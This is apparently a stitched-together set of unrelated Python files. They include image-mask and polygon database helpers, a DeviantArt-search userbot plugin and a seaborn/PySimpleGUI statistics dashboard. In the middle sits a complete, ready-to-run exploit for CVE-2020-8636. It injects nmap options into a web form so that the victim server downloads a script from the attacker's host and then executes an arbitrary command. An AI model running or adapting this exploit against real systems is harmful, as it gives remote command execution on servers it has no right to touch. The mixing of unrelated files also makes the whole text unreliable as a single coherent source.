        logging.debug('Left %d pixels unmapped (NaN).',
                      np.count_nonzero(np.isnan(dmask[:, :, 0])))
    else:
        logging.debug('Left %d pixels unmapped (NaN).',
                      np.count_nonzero(np.isnan(dmask)))

    return dmask

def drawMaskOnImage(img, mask, alpha=0.5, labelmap=None):
    '''
    Draw a mask on the image, with colors.
    Args:
      img:      numpy array
      mask:     numpy 2-dim array, the same HxW as img.
      labelmap: same as arguments of applyLabelMappingToMask
      alpha:    float, alpha=0 means mask is not visible,
                       alpha=1 means img is not visible.
    Returns:
      Output image.
    '''
    if not len(img.shape) == 3:
        raise NotImplementedError('Only color images are supported now.')

    if labelmap is not None:
        mask = applyLabelMappingToMask(mask, labelmap).astype(np.uint8)

    if len(mask.shape) == 2:
        mask = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB)
    if img.shape[:2] != mask.shape[:2]:
        logging.warning('Image shape %s mismatches mask shape %s.', img.shape,
                        mask.shape)
        mask = cv2.resize(mask, (img.shape[1], img.shape[0]),
                          cv2.INTER_NEAREST)
    assert img.shape == mask.shape, (img.shape, mask.shape)

    # Overlay mask.
    logging.debug('alpha %.3f', alpha)
    img = cv2.addWeighted(src1=img,
                          alpha=1 - alpha,
                          src2=mask,
                          beta=alpha,
                          gamma=0)
    return img

def drawMaskAside(img, mask, labelmap=None):
    '''
    Draw a mask on the image, with colors.
    Args:
      img:      numpy array
      mask:     numpy array, the same HxW as img.
      labelmap: see arguments for applyLabelMappingToMask.
    Returns:
      Output image.
    '''
    logging.debug('Image shape: %s, image dtype: %s', img.shape, img.dtype)
    logging.debug('Mask shape: %s, mask dtype: %s', mask.shape, mask.dtype)
    if labelmap is not None:
        mask = applyLabelMappingToMask(mask, labelmap)

    if len(mask.shape) == 3 and mask.shape[2] == 4 and len(
            img.shape) == 3 and img.shape[2] == 3:
        logging.debug(
            'Mask has alpha channel, but image does not. Add it to image.')
        img = np.concatenate([
            img,
            np.ones((img.shape[0], img.shape[1], 1), dtype=np.uint8) * 255
        ],
                             axis=2)
    if len(mask.shape) == 2 and len(img.shape) == 3 and img.shape[2] == 3:
        mask = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB)
    if mask.dtype == np.uint16:  # 16 bit is transferred to 8 bit.
        mask = (mask // 256).astype(np.uint8)
    if img.shape[:2] != mask.shape[:2]:
        logging.warning('Image shape %s mismatches mask shape %s.', img.shape,
                        mask.shape)
        mask = cv2.resize(mask, (img.shape[1], img.shape[0]),
                          cv2.INTER_NEAREST)
    assert img.shape == mask.shape, (img.shape, mask.shape)

    # Draw mask aside.
    img = np.hstack([img, mask])
    return img

def bboxes2polygons(cursor, objectid):
    ''' A rectangular polygon is added to objects that are missing polygons. '''

    # If there are already polygon entries, do nothing.
    cursor.execute('SELECT COUNT(1) FROM polygons WHERE objectid=?',
                   (objectid, ))
    if cursor.fetchone()[0] > 0:
        return

    cursor.execute('SELECT * FROM objects WHERE objectid=?', (objectid, ))
    object_entry = cursor.fetchone()
    if object_entry is None:
        raise ValueError('Objectid %d does not exist.' % objectid)
    y1, x1, y2, x2 = backendDb.objectField(object_entry, 'roi')
    for x, y in [(x1, y1), (x2, y1), (x2, y2), (x1, y2)]:
        cursor.execute(
            'INSERT INTO polygons(objectid,x,y,name) VALUES (?,?,?,"bounding box")',
            (objectid, x, y))
    logging.debug(
        'Added polygon from bbox y1=%d,x1=%d,y2=%d,x2=%d to objectid %d', y1,
        x1, y2, x2, objectid)

def polygons2bboxes(cursor, objectid):
    '''
    A bounding box is created around objects that don't have it
    via enclosing the polygon. The polygon is assumed to be present.
    '''
    cursor.execute('SELECT COUNT(1) FROM polygons WHERE objectid=?',
                   (objectid, ))
    if cursor.fetchone()[0] == 0:
        logging.debug('Objectid %d does not have polygons.', objectid)
        return
    cursor.execute(
        'UPDATE objects SET x1=(SELECT MIN(x) FROM polygons '
        'WHERE objectid=?) WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET y1=(SELECT MIN(y) FROM polygons '
        'WHERE objectid=?) WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET width=(SELECT MAX(x) FROM polygons '
        'WHERE objectid=?) - x1 WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET height=(SELECT MAX(y) FROM polygons '
        'WHERE objectid=?) - y1 WHERE objectid=?', (objectid, objectid))

def polygons2mask(cursor, objectid):
    ''' A mask is created around each object by painting inside polygons. '''

    cursor.execute(
        'SELECT i.width,i.height FROM images i INNER JOIN '
        'objects o ON i.imagefile=o.imagefile '
        'WHERE objectid=?', (objectid, ))
    width, height = cursor.fetchone()
    mask = np.zeros((height, width), dtype=np.int32)

    # Iterate multiple polygons (if any) of the object.
    cursor.execute('SELECT DISTINCT(name) FROM polygons WHERE objectid=?',
                   (objectid, ))
    polygon_names = cursor.fetchall()
    logging.debug('objectid %d has %d.', objectid, len(polygon_names))
    for polygon_name, in polygon_names:

        # Draw a polygon.
        if polygon_name is None:
            cursor.execute('SELECT x,y FROM polygons WHERE objectid=?',
                           (objectid, ))
        else:
            cursor.execute(
                'SELECT x,y FROM polygons WHERE objectid=? AND name=?',
                (objectid, polygon_name))
        pts = [[pt[0], pt[1]] for pt in cursor.fetchall()]
        logging.debug('Polygon "%s" of object %d consists of points: %s',
                      polygon_name, objectid, str(pts))
        if len(pts) < 3:
            logging.debug('Skipping polygon without enough points')
            continue
        cv2.fillPoly(mask, np.asarray([pts], dtype=np.int32), 255)

    mask = mask.astype(np.uint8)
    return mask

def getIntersectingObjects(objects1, objects2, IoU_threshold, same_id_ok=True):
    '''
    Given two lists of objects find pairs that intersect by IoU_threshold.
    Objects are assumed to be in the same image.

    Args:
      objects1, objects2:  A list of object entries.
                           Each entry is the whole row in the 'objects' table.
      IoU_threshold:       A float in range [0, 1].
    Returns:
      A list of tuples. Each tuple has objectid of an entry in 'objects1' and
                           objectid of an entry in 'objects2'.
    '''

    # Compute pairwise distances between rectangles.
    # TODO: possibly can optimize in future to avoid O(N^2) complexity.
    pairwise_IoU = np.zeros(shape=(len(objects1), len(objects2)), dtype=float)
    for i1, object1 in enumerate(objects1):
        for i2, object2 in enumerate(objects2):
            # Do not merge an object with itself.
            objectid1 = backendDb.objectField(object1, 'objectid')
            objectid2 = backendDb.objectField(object2, 'objectid')
            if objectid1 == objectid2 and not same_id_ok:
                pairwise_IoU[i1, i2] = np.nan
            else:
                roi1 = backendDb.objectField(object1, 'roi')
                roi2 = backendDb.objectField(object2, 'roi')
                pairwise_IoU[i1, i2] = utilBoxes.getIoU(roi1, roi2)
    logging.debug('Pairwise_IoU is:\n%s', pprint.pformat(pairwise_IoU))

    # Greedy search for pairs.
    pairs_to_merge = []
    for _ in range(min(len(objects1), len(objects2))):
        i1, i2 = np.unravel_index(np.argmax(pairwise_IoU), pairwise_IoU.shape)
        IoU = pairwise_IoU[i1, i2]
        logging.debug('Next object at indices [%d, %d]. IoU: %s', i1, i2,
                      str(IoU))
        # Stop if no more good pairs.
        if np.isnan(IoU) or IoU < IoU_threshold:
            break
        # Disable these objects for the next step.
        pairwise_IoU[i1, :] = 0.
        pairwise_IoU[:, i2] = 0.
        # Add a pair to the list.
        objectid1 = backendDb.objectField(objects1[i1], 'objectid')
        objectid2 = backendDb.objectField(objects2[i2], 'objectid')
        pairs_to_merge.append((objectid1, objectid2))
        name1 = backendDb.objectField(objects1[i1], 'name')
        name2 = backendDb.objectField(objects2[i2], 'name')
        logging.debug('Will merge objects %d (%s) and %d (%s) with IoU %f.',
                      objectid1, name1, objectid2, name2, IoU)

    return pairs_to_merge


"""
CVE-2020-8636

OBS: It's necessary to start your server which will make a script available for download on the victim's server
ex: php -S 0.0.0.0:1337
Then, run the scan by passing the server, your server, the your server port and the command to be executed!
ex: python xpl.py https://VITME_HOST MY_HOST MY_PORT COMMAND

Discovered and developed by @phor3nsic

"""
import sys
import os
import requests
import time
import urllib3
import random
import string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) < 2 :
	print("""

 @@@@@@   @@@@@@@   @@@@@@@@@@    @@@@@@   @@@  @@@   @@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@
@@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@ @@@  @@@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@@
@@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!@!@@@  !@@         @@!    @@!       @@!  @@@
!@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!!@!@!  !@!         !@!    !@!       !@!  @!@
@!@  !@!  @!@@!@!   @!! !!@ @!@  @!@  !@!  @!@ !!@!  !!@@!!      @!!    @!!!:!    @!@!!@!
!@!  !!!  !!@!!!    !@!   ! !@!  !@!  !!!  !@!  !!!   !!@!!!     !!!    !!!!!:    !!@!@!
!!:  !!!  !!:       !!:     !!:  !!:  !!!  !!:  !!!       !:!    !!:    !!:       !!: :!!
:!:  !:!  :!:       :!:     :!:  :!:  !:!  :!:  !:!      !:!     :!:    :!:       :!:  !:!
::::: ::   ::       :::     ::   ::::: ::   ::   ::  :::: ::      ::     :: ::::  ::   :::
 : :  :    :         :      :     : :  :   ::    :   :: : :       :     : :: ::    :   : :

 CVE-2020-8636 by @phor3nsic

""")
	print("[!] Usage: "+sys.argv[0]+" https://HOST LHOST LPORT CMD")
	sys.exit()
else :
	pass

SRV = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
CMD = sys.argv[4]

def randStr(stringLength=10):
	latters=string.ascii_lowercase
	return ''.join(random.choice(latters) for i in range(stringLength))

script = randStr()+".nse"
arq = open(script,"w")
arq.write('os.execute("echo $('+CMD+' && rm /tmp/'+script+')")')
arq.close()

def upload():

	cookies = {'services_limit':'100'}
	p1 = {"nmap":"on","nmap_options":"-v "+LPORT,"host":LHOST+" --script http-fetch --script-args http-fetch.destination=/tmp,http-fetch.url="+script}
	req1 = requests.post(SRV+"/opmon/nettools/nettools.php", cookies=cookies, data=p1, verify=False)
	#print(req1.text)

	if "Successfully Downloaded" in req1.text:
		pass
	else:
		print("[!] The server is not vulnerable")
		os.system('rm *.nse')
		sys.exit()

	if "Failed to resolve" in req1.text:
		print("[!] The server not have external connections")
		os.system('rm *.nse')
		sys.exit()

def execute():
	cookies = {'services_limit':'100'}
	p2 = {"nmap":"on","nmap_options":"-v","host":"0.0.0.0 --script=/tmp/"+script}
	req2 = requests.post(SRV+"/opmon/nettools/nettools.php", cookies=cookies, data=p2, verify=False)

	r = req2.text.split("<blockquote>")
	r1= r[1].split("<br />")
	print(r1[1])

def main():
	upload()
	time.sleep(2)
	execute()
	os.system('rm *.nse')

if __name__ == '__main__':

	main()


import random
import re

import requests
from bs4 import BeautifulSoup as bs

from . import *
from beastx.events import register

@register(pattern=".devian ?(.*)")
async def downakd(e):
    match = e.pattern_match.group(1)
    if not match:
        return await eor(e, "`Give Query to Search...`")
    Random = False
    if ";" in match:
        num = int(match.split(";")[1])
        if num == 1:
            Random = True
        match = match.split(";")[0]
    else:
        num = 5
    xd = await eor(e, "`Processing...`")
    match = match.replace(" ", "+")
    link = "https://www.deviantart.com/search?q=" + match
    ct = requests.get(link).content
    st = bs(ct, "html.parser", from_encoding="utf-8")
    res = st.find_all("img", loading="lazy", src=re.compile("https://images-wixmp"))[
        :num
    ]
    if Random:
        res = [random.choice(res)]
    out = []
    num = 0
    for on in res:
        img = await download_file(on["src"], f"resources/downloads/{match}-{num}.jpg")
        num += 1
        out.append(img)
    if len(out) == 0:
        return await xd.edit("`No Results Found!`")
    await e.client.send_file(
        e.chat_id, out, caption=f"Uploaded {len(res)} Images\n", album=True
    )
    await xd.delete()

CMD_HELP.update(
    {
        "devian": """**✘ Commands Available
**
• `.devian <search query> ; <no of pics>`

**Function : **__    Devian-Art Image Search.
"""
    }
)


import PySimpleGUI as sg
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
import sys
import os

IMAGE_PROPERTIES = ['iou', 'aspect_ratio', 'brightness', 'contrast', 'sharpness', 'noise', 'saturation', 'entropy', 'edges', 'estimate_noise', 'red_channel', 'blue_channel', 'green_channel','salt_pepper_noise','blurriness']

def plot_histogram(data_series,selected_column):
    sns.set(style="whitegrid")
    plt.figure(figsize=(8, 5))
    sns.histplot(data_series, kde=True)
    plt.xlabel("Value")
    plt.ylabel("Frequency")
    plt.title(f"{selected_column} Histogram")
    plt.tight_layout()
    temp_histogram_plot = "temp_histogram_plot.png"
    plt.savefig(temp_histogram_plot)
    plt.clf()  # Clear the figure to release memory
    return temp_histogram_plot

# Function to run the dashboard
def run_dashboard(data_path, iou_path, baseline_data_path):
    # Load the processed data from the CSV file
    processed_data = pd.read_csv(data_path)
    with open(f'data/{iou_path}.txt','r') as f:
        iou = f.read()

    baseline_data = pd.read_csv(baseline_data_path)
    # Change avg_score name to iou_score for readability
    processed_data.rename(columns={"avg_score": "iou"}, inplace=True)
    columns_to_present = [column for column in processed_data.columns if column in IMAGE_PROPERTIES]
    stat = ""
    # Update the layout to include the histogram section
    layout = [
        [sg.Frame("IOU Score", [[sg.Text(f"{iou}", key="-IOU-SCORE-")]])],
        [sg.Text("Select two columns for correlation plot, \n or just one from the left for histogram plot:     "), sg.Text(f"     {stat} Statistics Table:", key="-STATISTICS-TABLE-NAME-")],
        [sg.Listbox(columns_to_present, size=(15, 6), key="-COLUMN1-", enable_events=True), sg.Listbox(columns_to_present, size=(15, 6), key="-COLUMN2-", enable_events=True), sg.VSeparator(), sg.Table(values=[],size=(100, 6), headings=["Statistic", "Processed Value", "Baseline Value"], key="-STATISTICS-TABLE-")],
        [sg.Button("Generate Correlation Plot"), sg.Button("Generate Histogram"), sg.Button("Exit"), sg.Checkbox("Show Baseline", key="-SHOW-HISTOGRAM-", enable_events=True)],
        [sg.Image(key="-PLOT-", size=(800, 600))],
    ]

    window = sg.Window("Dashboard", layout)

    show_histogram = False  # Initialize the flag for histogram view

    while True:
        event, values = window.read()
        if event == "Exit" or event == sg.WIN_CLOSED:
            break
        elif event == "Generate Correlation Plot":
            selected_column1 = values["-COLUMN1-"][0]
            selected_column2 = values["-COLUMN2-"][0]

            # Generate correlation plot
            if selected_column1 != selected_column2:
                # Clear previous plot
                temp_plot_file = "temp_plot.png"
                if os.path.exists(temp_plot_file):
                    os.remove(temp_plot_file)

                sns.set(style="white")
                plot = sns.scatterplot(data=processed_data, x=selected_column1, y=selected_column2)
                plot.set_xlabel(selected_column1)
                plot.set_ylabel(selected_column2)
                plot.set_title(f"Correlation Plot between {selected_column1} and {selected_column2}")
                plt.tight_layout()

                # Save the plot to a temporary file and update the Image element
                plot.get_figure().savefig(temp_plot_file)
                window["-PLOT-"].update(filename=temp_plot_file)
                plot.get_figure().clf()
            else:
                sg.popup("Please select two different columns for the correlation plot.")

        elif event == "-SHOW-HISTOGRAM-":
            show_histogram = values["-SHOW-HISTOGRAM-"]

        elif event == "Generate Histogram":
            selected_column = values["-COLUMN1-"][0]  # Choose the column for the histogram
            window["-STATISTICS-TABLE-NAME-"].update(value=f"     {selected_column} Statistics Table:")
            selected_column_data = processed_data[selected_column]
            # Update the values for the corresponding statistics in the table
            window["-STATISTICS-TABLE-"].update(values=[
                ["Count", selected_column_data.count(), ""],
                ["Mean", selected_column_data.mean(), ""],
                ["Median", selected_column_data.median(), ""],
                ["Minimum", selected_column_data.min(), ""],
                ["Maximum", selected_column_data.max(), ""],
                ["Standard Deviation", selected_column_data.std(), ""]
            ])
            if show_histogram:
                baseline_column_data = baseline_data[selected_column]
                window["-STATISTICS-TABLE-"].update(values=[
                    ["Count", selected_column_data.count(), baseline_column_data.count()],
                    ["Mean", selected_column_data.mean(), baseline_column_data.mean()],
                    ["Median", selected_column_data.median(), baseline_column_data.median()],
                    ["Minimum", selected_column_data.min(), baseline_column_data.min()],
                    ["Maximum", selected_column_data.max(), baseline_column_data.max()],
                    ["Standard Deviation", selected_column_data.std(), baseline_column_data.std()]
                ])

                # Plot histograms
                sns.set(style="whitegrid")
                plt.figure(figsize=(8, 5))
                sns.histplot(selected_column_data, kde=True,  label="Processed Data")
                sns.histplot(baseline_column_data, kde=True, label="Baseline Data")
                plt.xlabel("Value")
                plt.ylabel("Frequency")
                plt.title(f"{selected_column} Histogram")
                plt.legend()
                plt.tight_layout()
                temp_histogram_plot = "temp_histogram_plot.png"
                plt.savefig(temp_histogram_plot)

                # histogram_plot_path = plot_histogram(selected_column_data,selected_column)
                # # Update the Image element with the new histogram plot
                window["-PLOT-"].update(filename=temp_histogram_plot)
                plt.clf()
            else:
                histogram_plot_path = plot_histogram(selected_column_data, selected_column)
                # Update the Image element with the new histogram plot
                window["-PLOT-"].update(filename=histogram_plot_path)
        temp_plot_file = "temp_plot.png"
        if os.path.exists(temp_plot_file):
            os.remove(temp_plot_file)
        temp_histogram_plot = "temp_histogram_plot.png"
        if os.path.exists(temp_histogram_plot):
            os.remove(temp_histogram_plot)

    window.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python dashboard.py <folder_path>")
        sys.exit(1)

    data_path = sys.argv[1]
    iou = os.path.splitext(data_path)[0]
    # Path to the processed data CSV file
    data_path = f"data/{data_path}"

    # Run the dashboard
    run_dashboard(data_path, iou, baseline_data_path="data/coco128.csv")